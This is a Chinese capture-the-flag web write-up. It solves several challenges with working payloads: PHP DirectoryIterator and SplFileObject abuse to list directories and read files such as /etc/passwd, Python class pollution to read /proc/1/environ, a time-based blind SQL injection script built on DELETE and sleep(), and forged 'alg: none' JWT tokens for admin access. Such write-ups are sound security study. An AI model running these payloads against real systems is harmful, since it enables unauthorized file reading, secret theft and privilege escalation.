flag直接读取不就行了?
源码如下
<?php
highlight_file('index.php');
# 我把flag藏在一个secret文件夹里面了,所以要学会遍历啊~
error_reporting(0);
$J1ng = $_POST['J'];
$Hong = $_POST['H'];
$Keng = $_GET['K'];
$Wang = $_GET['W'];
$dir = new $Keng($Wang);
foreach($dir as $f) {
echo($f . '<br>');
}
echo new $J1ng($Hong);
?>
php中有许多内置的原生类,可以利用内置的原生类攻击到达目的;
- 目录遍历类——DirectoryIterator 可输出指定目录的第一个文件;DirectoryIterator与glob://协议在一起组合可以绕过open_basedir
<?php
$dir = $_GET['XINO'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
echo($f.'<br>');
?>
# payload一句话的形式:
$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f.'<br>');}
payload:?XINO=glob:///* #列出根目录下所有文件
- 文件读取类——SplFileObject 可读取指定文件的内容;平常读取只能读取一行,要全部读取需要对内容进行遍历
<?php
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
echo($f);
}
该题如下传payload
?K=DirectoryIterator&W=glob:///secret/*
POST:J=SplFileObject&H=/secret/f11444g.php
成功读取flag文件名和flag
圣钥之战1.0
源码如下
from flask import Flask,request
import json
app = Flask(__name__)
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
def is_json(data):
try:
json.loads(data)
return True
except ValueError:
return False
class cls():
def __init__(self):
pass
instance = cls()
@app.route('/', methods=['GET', 'POST'])
def hello_world():
return open('/static/index.html', encoding="utf-8").read()
@app.route('/read', methods=['GET', 'POST'])
def Read():
file = open(__file__, encoding="utf-8").read()
return f"J1ngHong说:你想read flag吗?那么圣钥之光必将阻止你!但是小小的源码没事,因为你也读不到flag(乐){file}"
@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
if request.is_json:
merge(json.loads(request.data),instance)
else:
return "J1ngHong说:钥匙圣洁无暇,无人可以污染!"
return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?"
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80)
通过file属性直接读取环境变量
__file__
是从中加载模块的文件的路径名(如果它是从文件加载的)。__file__
对于静态链接到解释器的C模块,该属性不存在。对于从共享库动态加载的扩展模块,它是共享库文件的路径名。在read路由,可以读取
__file__
。
那么我们污染全局变量__file__
即可读取flag
{"__init__":{"__globals__":{"__file__":"/proc/1/environ"}}}
only one sql
可以看到部分关键词已经被禁用,只能执行一句sql语句
其中select被禁用,无法通过常规查询来查询flag的值
首先使用show tables
查询所有表,可以看到flag表
sql=show tables
![[7d4ae62102e3e3cb3913ff37815ff59d.png]]
接着查字段
sql=show columns from flag
![[ea79ee184c56b394348ad4367ba03dd3.png]]
由于禁用了selet我们可以通过delet语句来盲注
使用语句
delete from flag where data like 'f%' and sleep(5)
来进行注入,如果like成功匹配到,and字段会对后面的语句进行处理,使用模式匹配 如果like匹配不到(返回false)and后语句则不会进行处理,因为sleep()函数返回值为null,因此整个where的判断永假
脚本如下
import requests
import string
sqlstr = string.ascii_lowercase + string.digits + '-' + "{}"
url = "http://your.website/?sql=delete%20from%20flag%20where%20data%20like%20%27"
end="%25%27%20and%20sleep(5)"
flag=''
for i in range(1, 100):
for c in sqlstr:
payload = url +flag+ c + end
try:
r = requests.get(payload,timeout=4)
except:
print(flag+c)
flag+=c
break
No JWT
考察知识:
JWT支持将算法设定为“None”。如果“alg”字段设为“ None”,那么签名会被置空,这样任何token都是有效的。
设定该功能的最初目的是为了方便调试。但是,若不在生产环境中关闭该功能,攻击者可以通过将alg字段设置为“None”来伪造他们想要的任何token,接着便可以使用伪造的token冒充任意用户登陆网站。
题目给的源码如下:
from flask import Flask, request, jsonify
import jwt
import datetime
import os
import random
import string
app = Flask(__name__)
# 随机生成 secret_key
app.secret_key = ''.join(random.choices(string.ascii_letters + string.digits, k=16))
# 登录接口
@app.route('/login', methods=['POST'])
def login():
data = request.json
username = data.get('username')
password = data.get('password')
# 其他用户都给予 user 权限
token = jwt.encode({
'sub': username,
'role': 'user', # 普通用户角色
'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1)
}, app.secret_key, algorithm='HS256')
return jsonify({'token': token}), 200
# flag 接口
@app.route('/flag', methods=['GET'])
def flag():
token = request.headers.get('Authorization')
if token:
try:
decoded = jwt.decode(token.split(" ")[1], options={"verify_signature": False, "verify_exp": False})
# 检查用户角色是否为 admin
if decoded.get('role') == 'admin':
with open('/flag', 'r') as f:
flag_content = f.read()
return jsonify({'flag': flag_content}), 200
else:
return jsonify({'message': 'Access denied: admin only'}), 403
except FileNotFoundError:
return jsonify({'message': 'Flag file not found'}), 404
except jwt.ExpiredSignatureError:
return jsonify({'message': 'Token has expired'}), 401
except jwt.InvalidTokenError:
return jsonify({'message': 'Invalid token'}), 401
return jsonify({'message': 'Token is missing'}), 401
if __name__ == '__main__':
app.run(debug=True)
我们需要把role字段改为admin
但是如果把签名算法改为none的化jwt.io那个网站就无法生成,这个时候可以使用python生成
脚本如下
import jwt
# payload
token_dict = {
"sub": "Goku",
"role": "admin",
"exp": 1725693437
}
headers = {
"alg": "none",
"typ": "JWT"
}
jwt_token = jwt.encode(token_dict, # payload, 有效载体
"", # 进行加密签名的密钥
algorithm="none", # 指明签名算法方式, 默认也是HS256
headers=headers
# json web token 数据结构包含两部分, payload(有效载体), headers(标头)
)
print(jwt_token)
注意头字段
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJHb2t1Iiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzI1NjkzNDM3fQ.
Back to the future
使用windows的GitHacker命令提取出git
直接查看commit的内容
git show